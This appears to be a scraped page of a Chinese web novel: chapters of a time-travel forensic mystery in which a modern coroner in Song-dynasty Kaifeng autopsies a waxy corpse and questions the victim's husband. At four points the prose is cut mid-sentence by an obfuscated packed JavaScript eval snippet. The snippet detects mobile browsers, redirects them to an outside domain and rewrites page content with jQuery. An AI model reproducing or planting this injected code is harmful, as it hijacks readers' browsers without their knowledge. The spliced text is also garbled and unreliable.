甲丁又盯着这位“金主爸爸”看了好久,突然回忆起:“你是不是昨晚……”
李士卿只递了个眼神,示意甲丁想好再说,毕竟在祠堂吓破了胆跪着求饶的场面说出去并不好听。
重大嫌疑人马上就要打入我方内部,宋连情急之下也顾不上称谓:“傅局,他就是那个出现在案发现场的白衣人!他有重大嫌疑,应该立刻拿下审问!”
傅濂嘴一撇:“虽然你现在心智非常人能比,但这夺舍而来的东西,说不定哪天说没就没了,或可能有什么其他的隐疾呢?世上穿白衣者千百万,身为检法官岂能信口雌黄?”
宋连心说:你也知道不能信口雌黄?身为司法之门的一把钥匙,竟然要开启一些邪门歪道,这朝代还能好的了么!
但傅濂听不到基层的心声:“你要放下成见,就当是为你找的护卫医官,保你强身健体,可好?”
无语,老年人与保健品的羁绊真是绵延千年而不绝!
04
“鄙人李士卿,擅长卜卦算命,照看风水”,白衣人自报家门,“宋检法放心,我不会干预你断案,也不会强行驱离那‘夺舍’的鬼。毕竟宋检法断案还需仰赖鬼怪之力。”
这李士卿刚才的笑容是嘲笑吧!一定是嘲笑吧!
宋连刚要力争,见这李士卿的手腕一晃,两指之间出现一张字条,悄悄晃了晃。
是那张写了“宋連”署名的字条!
虽然这并不算是什么把柄,但如今情况已经够繁琐了,万一傅濂追究起前因后果,他的路易十六大铡刀又得摇摇欲坠。
命只有一条,但要命的事不止一件,宋连在窝囊和生气之间果断选择了生窝囊气。
李士卿满意地笑了笑,对傅濂说:“大人,莫要因我耽误了审案。”他接着做了个“请”的手势。
傅濂一拍大腿:“开始吧!”
15. 10 科学解剖,创新验尸!
01
屋子里弥漫着一种难以言喻的霉味,像是陈年不见光的木材散发出的腐败气息,不是那种刺鼻的腐臭,而是一种干燥、陈旧、干枯的味道。
案台上,腊化的尸体躯干如同干朽的木头,手指僵硬的张开。皮肤已经失去弹性,僵硬、枯萎,布满深深的裂痕。摸起来像古旧的皮革或者干燥的纸张,坚硬又脆弱,稍加指压就会浮现更多裂痕。
她的面容几乎不再具有人类的轮廓,青灰色的皮肤裂开,露出脆弱的下层组织,仿佛随时都会碎裂开。
她的眼球已经干涸,像两颗空洞的珠子深深凹陷在眼窝中。牙龈萎缩干瘪,泛黄的牙齿暴露在外,看起来狰狞可怖。
“解剖室”的门口围了很多人,都是开封府衙其他部门的官吏小卒。
他们听说提刑司那个被鬼夺舍的宋检法,夜闯罗刹门,降服罗刹女,还抬回来要解剖!纷纷凑来看热闹。
好奇心害死胆小鬼,真看到灰绿的尸腊,他们又尖叫着捂眼捂嘴捂脸。
宋连叹口气,想请傅大人下令清场,却见李士卿变戏法似的,掏出一叠宝塔形状的黄色叠纸,向围观人群挨个发放:“此符名为镇妖塔,带在身上可避邪祟、保平安。”
李士卿长得好看,说得也很认真,让人不容有疑。
众人接过“镇妖塔”,纷纷向他道谢。
“不必,”李士卿手掌一翻,掌心向上:“两百文一张。”
大伙当场一愣,又都将符纸扔回给他。
好大一只骗子,竟敢在提刑司招摇撞骗!
李士卿也不生气,收回“镇妖塔”,又变出一张黄色纸条,晃了晃,说:“这个效果不如镇妖塔,但也有驱邪作用,只要二十文。”
02
宋连的尸表检查接近尾声,由于尸腊的毛发已经完全脱落,骨骼突起,使得遍布于身上的伤痕清晰可辨。
“多数伤口位于手肘部、腿部、背部,”宋连指向几处明显伤口,向大家示意,“手肘部这处是明显的防御伤。”
甲丁在旁记录,听到这里停笔,问:“何为‘防御伤’?”
宋连走到他面前:“防御伤嘛,就是……”突然,宋连抬手朝甲丁做劈砍状,甲丁下意识抬臂格挡,宋连的手“砍”在了他的小臂上。
“看,遇到迎面而来的击打,人会本能的抬手格挡,保护头面部。凶器就会在手臂产生创伤,由此而来的伤口就叫防御伤。”
甲丁连连点头,赶忙把这些记了下来,无视了宋连摸过尸体的手又来摸他。
傅濂听宋连描述,跟着他的思路推断:“一击未毙命,却不敌对方力量,她没能逃跑,而是又连中数下……”
宋连点头,指向尸体颅骨处:“致命伤是后脑这里,遭砍伤导致颅骨粉碎性骨折,看这伤口,纵深呈楔形,和其他地方的伤口相似。综合这些伤口判断,凶器长约12公分,一边锋利一边钝厚,厚处约3公分。”
甲丁又问:“3公分是……”
“呃……差不多一寸左右。”
傅濂似乎还在思考凶器,忽略了宋连暴露的度量衡bug,或者他听到了,但宋连自从被“夺舍”之后就时常不说人话,大家都习惯了。
他思索片刻,猜测:“这凶器,莫非是……”
宋连指着尸体:“口说无凭,让她来告诉我们。”
03
尸体已经腊化,死透得不能再透,如何告知?
宋连面上有一丝不易察觉的得意:“科学解剖,创新验尸!”
太爽了,实在太爽了!
宋连曾经无数次幻想过,以现代法医学知识穿越到古代去搞解剖,那该多刺激!没想到,梦想成真了!
他差人准备一些熟石灰,掺水和成糊状,舀出一勺小心翼翼灌入尸体后脑和手臂、大腿的伤口中。
“这叫灌模浇铸法,”宋连一边操作,一边还不忘进行科学普及:“待石灰糊在伤口中逐渐凝固成为石膏,再将其取出,就能看到凶器局部或全部的样貌,从而判断凶器种类。运气好的话,甚至能看到指纹等重要线索。”
甲丁刚准备点头,又问:“‘指纹’又是何物?”
“就是你手指面的纹路,一斗穷,二斗富,三斗四斗卖豆腐,听过吗?”
甲丁看着自己的手指尖,似懂非懂的样子:“这不是人人都有吗?”
指纹作为个体特征的科学性要到800年后的19世纪末才会被应用于刑侦领域,而此时此刻也并不是进行详细科普的合适场合。
“呃……说不定凶手的手指有什么特殊情况呢?这不是多一个可能性嘛。”
甲丁恍然,傅濂则赞许地捋了捋胡子:那司天监的李大人果然神人,这宋检法被夺舍一遭,也是因祸得福了啊!
04
等待石膏凝固的间隙,二人将发现尸腊的过程大致还原向傅大人描述了一番。隐去了甲丁对“黑白无常”求饶的环节,掩盖了他情急之下交待了自己监视的行为,宋连还贴心地替他略过了吓昏过去的部分。
他边说边偷瞄李士卿的表情,心想这神棍最好不要笑场,否则他也会破功的!
傅濂听了他们的“重现案发过程”,伸出大拇指赞不绝口。
原来这个手势这么早就有了!
傅局长得虽然长得艰苦朴素,但拇指圆圆的像个胖头鱼,宋连很想怼上去点个赞,但他忍住了。
“宋检法,这些也是夺舍时,那鬼告诉你的?”甲丁不耻下问。
唯物主义战士宋连,艰难点头,心里为自己对科学的背叛再次狠狠愧疚了一番。
差不多一炷香的时间,石膏凝固差不多了,宋连在一堆狂野的工具中挑挑拣拣,选了几样凿子锤子改锥之类。
他将工具楔入尸腊伤口边缘,一点点钉凿扩展,待扩出足够的空间,用夹子小心将石膏体取出。
几处伤口中的石膏样本基本一致,说明凶手使用同一凶器。
众人看着托盘中几个相同的模具,和他们心中预想的一样。
是斧头。
本以为尸检就此结束,没想到宋连又挑出几个大件工具,面对尸腊鞠了一躬,对甲丁说:“开始吧,我剖你记。”
04
由于尸体腊化十分坚硬,解剖前需要用温水对尸体进行一定的软化。
甲丁目睹这一过程,觉得自己以后都无法正视泡澡这件事了。看宋连在桌案边“大刀阔斧”,他不由得靠向李士卿。
“你那个什么镇妖符还有吗?看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748792|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在昨晚我给你磕了好几个头的份上,送我一个呗?”
李士卿从容伸进一袋,拿出那枚精致的镇妖塔符,甲丁开心地刚要去拿,被李士卿躲闪开了,他又伸出另只手,掌心向上:“100文,是我帮你隐瞒下地求饶的封口费。”
甲丁一巴掌把他的手拍开:“呸!无良商人!江湖骗子!”
一转头,看见宋连已经将尸腊腹部剖开,在里面抓拿掏取的。他打了个激灵,又靠向李士卿:“那个次一点的符纸呢?能送吗?”
李士卿把镇妖塔放回去,又掏出一张符纸:“10文。”
甲丁一咬牙:“5文,不能再多了!万一要是那鬼在宋检法那里玩腻了来找我,你这符能阻挡吗?”
“就凭5文?”
甲丁:“5文怎么了!5文也是钱!要是不管用,你得十倍赔我!”
李士卿没说话,抖了抖符纸,伸出另一只手来接钱。
交钱接纸,交易完成。
05
待最后一项检查结束,宋连在净手盆里洗了手,对甲丁陈述尸检结论:
“死者为女性,身高155公分,呃,五尺两寸吧,生前体态较为丰满,根据牙齿及腕骨、盆骨、关节情况判断,死者年龄大约在23-25岁左右,无生育史。死因为斧头砍伤头部造成大脑血肿,死亡时间不低于半年。除此以外,死者右腿胫骨有一处陈旧性骨折,根据骨痂判断大概已有五年以上;死者的脏器虽然因脱水病变,但从其形态上仍能观察到死者生前患有长期肝硬化、肺气肿和心脏病,这些疾病大概率与她太胖,对心肺负担过重有关。因此在遭遇袭击时很难逃跑,甚至会因为心肺疾病复发而倒地,最终被凶手击碎颅骨死亡。这些就是死者尸检情况。”
宋连心里觉得十分遗憾,其实尸腊现象是能够保存很多证据和线索的,但由于没有相应的检验设备,能够得到的结论太少了。
但甲丁和傅濂显然不这么认为。抛开他说的一大堆听不懂的话术,“宋检法……你从一具形如枯槁的尸体上,能看出这么多东西?”
“这是死者的情况,下面说说凶手,”他示意甲丁继续记录,自己则指点尸体身上几处伤口:“凶手是径直冲向死者,先砍伤肢体形成防御伤,这时死者倒地向另一方向爬去,被砍伤脚踝。从伤口的深度来看,凶手整个过程几乎一气呵成,当时应当属于十分激情上头的程度。”
宋连说到这里,停顿了一下,似乎有些疑惑:“她爬到了凶手只能砍得到脚踝的距离,这个过程中凶手在干什么?看着她爬吗?”
他叮嘱甲丁将这个疑点仔细记录下来,又继续说:“根据死者身高,考虑到斧头柄长和伤口的角度判断,凶手是右利手,就是惯用右手。身高推测在165-170左右。当然,这个推测误差可能比较大,只作为参考。以上就是全部尸检情况。”
06
屋内鸦雀无声,连呼吸声都十分微弱。片刻之后。
宋连意识到他可能说了太多不该说的。他不知此刻应该作何反应,只能以飘忽的眼神躲避众人的凝视。
飘着飘着,就飘到李士卿那里。此刻他口中念念有词,手指还快速掐决,像是在念咒施法。
宋连欲哭无泪,我真不是鬼啊!
16. 11 抽水马桶怎么造?在线等挺急的!
01
尽管宋连说的天花乱坠,不过傅濂并没有马上就相信这一套“鬼话”。
但身形丰满、曾经小腿骨折这类显著的外貌特征还是很有价值的,接下来就是以地渊祠为圆点,通知各厢坊社区居委会,寻找这样一个在半年前失踪的女子。
看似简单,实则大海捞针!
傅濂沉思良久,下达指令:“先从外城郭坊一带开始吧。”
他喃喃道:“郭坊距离地渊祠不过二里,坊间住户多农人,家中常备斧头……”
最后他像是确认了这个决策,对甲丁说:“即刻前往外城郭坊探查!”
甲丁得令,带着两名卒吏出发。
宋连则在心里默默感慨:这老头看起来没什么能耐,其实还挺有两把刷子的嘛……
02
甲丁和几个卒吏被安排去郭坊探查,围观的人群做鸟兽状散去。
傅大人让宋连和李士卿好好聊聊“病情”,自己也哼着小曲溜了。
于是只剩下宋连和李士卿相顾无语。
宋连用皂荚把胳膊手仔细搓了几遍,用掉了足足半个小时。
接着又是无尽的沉默……
茶水喝了一杯又一杯,不久就尿意来袭。
大意了!
一想到上厕所,宋连就皱眉。
穿越过来有几天了,衣食住行倒还都算能接受,唯独上厕所这件事……
要是户外还好,找片荒草丛就解决了,府衙的厕堂就有点一言难尽……
尽管蝇虫是法医最好的朋友,但那感觉和案发现场还是有微妙的区别。
而且这身袍子要多拖沓有多麻烦,上个厕所还得肩扛手提。
如果是户外小解也就罢了,但……手纸是个问题……
宋连胡思乱想半天,能憋一会儿是一会儿。
李士卿倒是坐的稳如泰山。
小腹急急,坐立难安,算了,再高级的人类都是要屈从最基本的生理需求。
宋连刚要起身,李士卿叫住了他。
“宋检法是哪里人?”
宋连屈腿又坐了回去。
那哥们儿是哪里人……他怎么知道!这几天忙着侦破案件,也没顾上问问那位“前身”的基本情况。
但转念一想,李士卿也不知道正确答案。想来他也不可能知道北宋疆土上所有的地方,随便编一个名字不就好了!
“我老家在麻瓜县对角巷,李公子可听说过?”
“从未,是哪一路?”
宋连大学学中国司法史的时候学到过,宋代行政区划基本上按照路、州、县划分,具体什么朝代分十八路还是二十四路的,他早就忘得一干二净。
只记得汴京属于京东路,洛阳属于京西路,但这两个地方恐怕李士卿都很熟悉。
宋连大脑飞速运转,印象中这个课题的权威学者似乎是河北大学的博士。于是当即一拍脑门:“我是河北人。”
李士卿也没什么表情,只是轻轻点点头,像是接受了这个答案。
必须要去厕所了,小腹也急,问题也招架不住。
宋连再次准备起身,没想到那李士卿又说话了:“宋检法被夺舍之后的确忘了很多事,却还记得自己的家乡。”
宋连耐心丧失,惦着双脚胡乱回答:“乡音未改鬓毛衰嘛!”
他是真的憋不住了,小跑着往厕堂冲。
一只脚跨出门槛,就听李士卿在背后幽幽说道:“但你却忘了,我与宋检法是认识的。”
03
李士卿话一出,宋连心里“咯噔”一下。糟了,他忘了当初是那个“宋连”约他在地渊祠碰面。
他们认识。
但此刻实在顾不得这些,宋连装作没有听到,健步如飞奔向厕所。
他又磨蹭了二十分钟,才慢吞吞回来。
李士卿还稳坐在那里,姿势都没变。
见宋连回来,也没再重提刚才的话题,而是闭眼打坐。
这小公子年纪轻轻,行为做派倒是十分老城稳重的样子。
又想到他伸手要钱的模样……果然是个江湖骗子!
茶也不能再多喝,话也没什么可说,宋连百无聊赖坐着,不久就开始打盹。
昨天他和甲丁通宵搬运尸体,几乎一夜没合眼……
一个完整的念头还没走完,他就坠入了梦乡。
04
梦里他又回到了展馆,远远看见徒弟岳雲和白队正围着一具尸体勘验。
再次见到“亲人”,宋连激动的大喊,可他们似乎根本听不见。
宋连跑到他们跟前,发现自己好像空气一般被无视甚至被穿透。
再看他们勘验的尸体,分明就是自己!
可岳雲和白队面对着昔日战友的尸体,却没有半点痛惜伤心的表情,像看一具普通命案尸体一样看着“他”。
宋连的情绪十分复杂而迷茫,他蹲下身,注释着那个死去的他。
突然,那具尸体猛地睁开眼睛,同时苍白的手抓住了宋连的胳膊,力量非常大,像是要将骨头都捏碎。
“抓住他!只有你,只有你能抓住他!”
那个“宋连”声音沙哑,像是破漏的风箱发出的声音。他死死抓住宋连的手臂,又凶狠地盯着他看了一眼,突然猛地一推,将宋连推入了一个多重的空间。
周围的物体都在高速振动着变化着,它们从某个地方突然出现又消失。巨大的风吹得宋连根本无法自控,在震动变化的时空中穿梭。
下一个瞬间,一切寂静下来,他来到了一个树林中。
周围缭绕着白色的雾气,隐约听到前方有流水的声音。
宋连穿过密林灌木,来到一条河边。
还是那条
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748793|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
河,他熟悉的河。
河对面不知什么时候出现了一个人影,无论他怎么使劲的看都无法看清对方的模样。
那个人影被迷雾包围,只有一个轮廓。
浓雾顺着一个方向流动,宋连跟随看去,河边的大石头上躺着一个人。
宋连的胸口剧烈起伏,心脏快要跳出胸膛。
他离那团模糊的轮廓咫尺距离,甚至能感觉到对方邪恶的笑。
宋连想要趟过河流去对面一看究竟,抬脚的瞬间被一股力量拉住。
李士卿突然站在他面前,面无表情,只是盯着他看。
宋连想绕过他,可无论他怎么腾闪挪移,李士卿总会一秒挡在他眼前。
“你干什么!”宋连忍无可忍的大喊。
李士卿仍然死盯着他不放,张开嘴的时候发出的竟然是某种低沉的共振。但振动的声波仍然可以辨析出,他说的是:“你究竟何人!”
05
一阵嘲杂惊醒了宋连。他还趴在案几上,但李士卿却已不见踪影。
宋连循声走出屋子,看到甲丁和几个卒吏正带着一个男人朝这边走来。
他下意识先关注男人身高,比甲丁还要高壮一些,肯定在170以上,且高出很多。
男人叫郭大伟,外城郭坊人,是个小商贩。
据甲丁汇报,他们先找了郭坊的耆长,就是社区主任,向耆长描述了那无名女尸样貌特征后,耆长立刻便想起了郭大伟。
原来郭大伟的老婆在半年前离家出走,在郭坊也算轰动过一阵。
郭大伟又是报官又是寻人,折腾了很久,最终也没能找到老婆。耆长以人口走失留了档,没想到时隔半年真的有了消息。
路上甲丁已经告诉郭大伟,找到的是具尸体,让他有个心理准备。
尽管如此,在看到那句干瘪的尸腊时,郭大伟还是惊叫着呕吐不止,之后便无论如何都不肯再看那尸体一眼。
“这并非内人!绝对不是!”郭大伟退到门口,坚称这不是自己老婆。
“尸体经历半年,已经脱水腊化,确实很难辨别。但她身上有些体貌特征,和你妻子吻合吗?”
郭大伟看着宋连,脸色十分难看,他摇着头,说:“不知道,我不知道……”
宋连示意甲丁,拿出一堆衣服。
“这是死者当时穿着的衣服,你辨认一下,和你妻子走失前穿的一不一样。”
郭大伟盯着衣服看了许久,终于“哇”一声哭喊出来:“不会的,一定是巧合,你们搞错了,不会的!”
这种场面宋连见过太多,家属认领尸体时第一反应都不相信这是自己的至亲。一方面是因为不能接受这个事实,另一方面人死后样貌确实会发生一些变化,看似很像但又有不同。
宋连示意甲丁先带郭大伟到前堂,平静一下情绪,然后再进行问话。
17. 12 老公深情款款 一看就是渣男
01
郭大伟此刻已经平静许多,也承认那衣服的确是妻子离家前所穿。
妻子是半年前离家出走的,当时郭大伟四处找寻,先去了娘家,娘家人说女儿并不曾回家。后又找遍了所有妻子可能去的地方,均无果。
郭大伟又去报官,官府立了案也找了几天,仍然无果。两个月后依旧杳无音讯,官府称妻子很可能已经出了城往其他地方去了,这案子就这么搁置了下来。
傅濂问:“那你可知她为何要离家出走?”
郭大伟显得十分为难,两手局促地摩挲,最终还是说出了原委。
二人结为夫妻已有七年,却没有生育。
五年前妻子曾怀过一胎,因为她身形丰满,不显怀,连她自己都没有发现。
一次做家务时不慎摔倒,摔断了一条腿,下身却出了血,那时才知道自己有了孩子。
当时他们赶紧找了稳婆,却被告知怀的是个儿子,可惜已经没了。
夫妻二人伤心过度,妻子更是茶饭不思,落了病根,腿也恢复的不好。
自那之后,二人做了很多努力,却再也没能有过孩子。
时间久了,妻子对郭大伟便生了埋怨之心,二人感情出现裂痕,她更是不愿与他同房。
后来没多久,妻子就离家出走了。
“那时我去各处寻她,才知道原来她早就背着我在外面有了男人!她定是跟那野男人跑了!然后……”郭大伟说着又潸然涕下,“那狠心的男人定是嫌弃她腿脚不便,吾妻性情好强,怎的忍受得了这般轻辱,想必是与那男人发生了争吵,被……被……”
郭大伟脑补一番,更加怆然,再也说不下去。
02
众人看郭大伟声嘶力竭,都觉得他可怜可悲。但他供述中却有一处与尸体情况不符。
连甲丁都听出了不对劲。
“他说的孩子……”
宋连举起食指做了“嘘”的手势,问郭大伟:“你怎能确定稳婆说的是真话,你妻子确实有孕在身?”
郭大伟没想到宋连会有这样的质疑,认为是在耻笑他不行,于是激愤道:“大人此话是何意思!稳婆为何要欺骗我!”
宋连又问:“你妻子平时身体如何?有什么疾病吗?”
郭大伟如实回答:“内人患有心病肺郁,时常胸闷气短,久咳不止……怎么,她的死与这有关?”
宋连点头:“夫人体型偏胖,心肺负担太重,又有旧伤,恐怕有这些影响。”
宋连对傅濂耳语一番,傅濂思考良久,对郭大伟说:“现在你妻子也已经找到,尸身便可领回下葬,早日入土为安了。”
听了这话,郭大伟悲伤的脸上闪过一丝欣喜,但很快又被掩盖了下来。
“不过……”傅濂有些犹豫,“以你所说,如果真有私奔之事,那外遇男子亦有重大嫌疑。令夫人尸首且在开封府保存几日,待我们将那男子调查归案后,自当奉还。”
03
几人看着郭大伟走出厅堂。
甲丁问:“就这么把人放了?那孩子……”
“郭大伟很肯定郭氏怀了男孩、能看出胎儿性别至少要怀胎16周,也就是四个月以上。这么大的月份流产,骨盆不可能不留下痕迹。但那具尸腊骨盆并没有扩张,也没有引产痕迹。”
甲丁恍然:“哦……那就是说,那尸体不是他老婆!”
宋连斜眼看了甲丁一眼,很想学孙大圣对待猪八戒那样,脑袋上给一巴掌,再叫一声“呆子!”
不过傅大人倒是替他做了。
“那郭大伟听说能领回尸体,喜形于色,断不是刚才那副不肯认尸的样子,分明就是心里有鬼!”
甲丁摸着被傅大人拍过的脑门:“可我看他伤心欲绝的样子,情真意切,供述也很有条理,不像是在撒谎啊……”
宋连嫌弃道:“上演一出深情戏码对这种渣男来说有什么困难!这一整天坊间街市都在讲二郎神大战罗刹女的话本,他肯定早就知道尸体被发现了,用一整天时间编这么个故事,简直绰绰有余!”
甲丁更不理解了:“既然认定他就是凶手,怎么又把人放了回去?”
“因为身高不符啊,”宋连回答,“凶手只有170上下,但这郭大伟太高了。凶手很可能不是他,但一定是他认识的人,所以你觉得,他现在最近紧要的,是要做什么?”
这下甲丁完全明白了:“通风报信!”
傅濂立刻下令:“盯着他,看他都去了何处,找了何人!”
04
接下来的两天,甲丁早出晚归,蹲守在郭大伟附近监视他的一举一动。
而那个叫李士卿的江湖骗子也再度销声匿迹,想到傅大人那张艰苦朴素的脸,再想想那个年纪轻轻就走上诈骗道路的神棍。
宋连简直扼腕叹息,替帅哥遗憾,替老头不值!
打着“夺舍失忆”的旗号,宋连从同事口中套出了不少那个“真·送检法”的信息:他来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748794|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
汴京也不过半年而已,还是开封府一名实习生。
他能力平平,胆小文弱,甚至有些笨手笨脚,平时只做一些文书工作,还常常错误百出。
很多人猜测他是哪位大官硬塞进提刑司的关系户,可他清贫的待遇,又不像是背后有人。
“真·宋检法”就这么默默无闻碌碌无为的混了半年,正当大家以为他转正无望的时候,他竟然被鬼相中夺了舍……
宋连在“家中”翻了十几遍,都没找到与穿越相关的一星半点线索。
案几上的文书几户都是誊抄的案卷,多是偷鸡摸狗打架斗殴,连命案都很少。可见这位“真·宋检法”在单位确实很不受待见。
不过这位宋检法的字写得着实漂亮,丁真楷草,秀丽疏朗。
宋连想了想自己那一手狗爬的字,嫁祸给鬼都觉得对不起鬼。
05
“真·宋检法”的住所是朝廷为他这样初来乍到的公务员提供了政府廉租房,就在开封府边上,步行五分钟,非常方便。
这是一个三进大院,只是不分什么厅堂卧房,每进一排房屋,分割成几户,租给不同的人。一个院子里能住十几户。
宋连在中间那一进,是整排房间最东边一间。
很俭朴的一居室,中间以推拉屏风隔开,前厅用来书写、办公、会客。有一张案几,一只高脚圆凳,一盏琉璃立灯,沿墙边还有一个小边几,不到一米,左右两旁有两张椅子,如有客来,可小憩喝茶。
屏风后则是卧室,单人床一张,床外墙角处是洗漱架,有脸盆,毛巾,还有一个木质小盒子。
盒子里有一柄小刷,刷头扁圆,刷毛坚硬,像是猪鬃毛,另有一凹槽装着一些白色粉末。
宋连猜测这应该是牙刷和牙粉。洗漱架上还挂着一面锃亮的铜镜,应当是整理仪容用的。
卧室另一面墙贴放着几个大木箱,分别放着宋检法的内衣裤、外衣裤、办公制服……
有条不紊,与宋法医的生活习惯如出一辙。
卧室里还有一只恭桶,估计是为了半夜尿急方便,但这东西放在房子里着实有些膈应。
不过想想,小时候在村镇生活,家家户户都有尿壶痰盂。
宋连用之间捏着打开盖子,内部刷得很干净,也晾晒过,没有异味。
吃喝拉撒是人生大事,宋连进院的时候就观察过了,每一进的小院最西边都有一间茅房,若不是夜急,他还是愿意跋涉到另一头的公厕解决。
18. 13 遇事不决,量子力学
01
提刑司暂时没有安排其他案子给宋连,倒是让他有了一点闲暇时间研究如何穿越回去。
首先可以肯定的是,要达成一次穿越必须具备高伏电压(雷电)和一个金属导体(铜钱剑)。
用科学的角度解释,当晚的雷暴击溃了展馆的避雷装置,或者展馆本来就有漏电隐患,好巧不巧,宋连身上还带着岳雲那把金属铜钱剑,巨伏电击在普朗克时间单位内,在宋连身上产生了电子对撞,又在量子尺度展开了高维宇宙,时间和空间被扭曲,于是他穿越了。
也就是说,世界顶尖物理学家在日内瓦的CERN研究院,耗费数十年耗资不计其数的研究,都不及他被雷劈了一下……
牛顿同意了吗,普朗克能信吗,薛定谔的猫会怎么想,爱因斯坦会跳起来给他鼓掌吗?
那些前赴后继的诺贝尔物理学家们终将拜倒在雷神的脚下吗?科学的尽头果然是玄学吗?!
玄学……宋连突然想到了一个人,但很快又摇头把这个想法甩掉了——他可能装鬼装久了,才会寄希望于一个神棍骗子!
傅濂也不知被李士卿下了什么迷魂药,竟然还封了他一个“提刑司智囊顾问”,那之后这位李神棍就很不负责任的消失了。也不知傅濂付没付顾问费。
江湖骗子也要营生糊口,谁知道他正在哪个地方兜售他的那些手工折纸。
话说回来,他这样的神棍,应该有一些类似铜钱剑的“法器”吧,下次见面可以问问,如果有的话就借来一用——夏天雨季雷电多,也不是不能试一试……
而且他们神棍圈,应该对各种神化传说、宗教故事多少有些了解,说不定有《汴京水陆全图》的一手资料!
宋连的算盘打得噼啪响,浑然不觉门口站着一个人。
“你找我?”
说神棍神棍到,就这种心想事成的buff,不买彩票都可惜了!
02
边几上明明就有茶叶和茶具,但在哪烧水呢?屋里也没个炉子,来时也没注意厨房在哪。
宋连在屋子里转了好几圈,额头的汗珠都往下滴答起来。
李士卿看着宋连慌里慌张忙活半天,也没忙出个所以然来。
“宋检法不必客气,我不饮茶水。”
“不喝水?不喝水好,喝水还得上厕所,这儿厕所太远太不方便……”宋连如释重负,这才坐了下来。
二人相顾无语,都在等对方说明意图。
宋连:“李先生找我什么事?”
李士卿:“不是你要找我?”
宋连有些莫名其妙:“我没说要找你啊,谁跟你说的?”
李士卿:“算出来的。”
……
……
“李公子,现在屋里没外人,咱们就打开天窗说亮话,”宋连一本正经说:“就目前来看,你这种诈骗行为似乎还没造成人民财产的重大损失,我看法律条款里也没有对你这种行为的处罚,就当你是通过封建迷信手段,疏解人民心理矛盾,以达到维护人民群众心理健康的目的。”
李士卿听明白了:“宋检法还是不信我。”
宋连摆出一个“不然呢”的表情。
李士卿并没有辩解,只是又问:“宋检法是不信鬼神之说,还是不信我?”
宋连刚想说他都不信,突然想起自己还要仰仗“夺舍”借□□命。
李士卿见宋连不说话,点了点头:“看来是不信我。”他似乎有些委屈,也可能是遗憾,总之撇了撇嘴。
“既然宋检法要打开天窗说亮话,那你不妨说说,你究竟何方妖孽!为何占据宋连的皮囊?”
03
宋连不确定李士卿是真的看出什么还是在诓他。
敌不动,我不动,敌若动……
我投降!
最终宋连以撂挑子的形式先发制人:“我要说我不知道,你肯定也不信,你那么厉害,不如自己算算呢?”
果然,李士卿微微皱眉,被宋连将了一军。
“你看,你我对彼此都不信任,各自也拿不出什么真凭实据,就不要为难彼此。我只能告诉你我纯天然无公害,用着放心吃着安心,不是,我的意思是,我也很想回归正常生活,你要是真有办法帮我回到正轨我肯定全力配合你,但你不能。”
李士卿思考一下,问:“你可记得出事之前发生了什么?”
他当然记得,只是没法解释……不过既然这神棍问起了,不如顺水推舟问一问《汴京水陆全图》。
“出事之前我正在调查两起命案。”
“你?查案?”李士卿似乎不相信“宋检法”还能和命案扯上关系。
“对,命案!咋了?你觉得我不配调查命案吗?”
李士卿摆手,做了个请继续的手势。
“两起命案,乃同一人所为,此人极度冷血残暴,将受害者残忍杀害之后,还能冷静布置现场,”宋连讲到了重点:“他的作案手法是依照《汴京水陆全图》来的。”
“《汴京水陆全图》?”李士卿瞪大双眼。
有戏!宋连就知道,这种神棍对这些神神叨叨的东西最在行了!他一脸期待等着李士卿答疑解惑。
“这《汴京水陆全图》,是何物?”
04
所以说网上的东西不能信!尤其AI,它们最擅长一本正经的胡说八道了!
宋连不确定是根本就没有《汴京水陆全图》这个东西,还是他穿越的这个时期还没出现。
他将两起命案现场的情况与李士卿描述了一番。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748795|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“所以,凶手是按照十八层地狱景象来制造杀人案件?”
宋连点头:“他的反侦察…就是戒备心,非常强,现场几乎没有留下任何关于他身份的线索。所以我只能通过分析他的心理动机来‘了解’这个人。”
“如同你与甲丁在石像后揣摩元英才和卫灵秀的……”
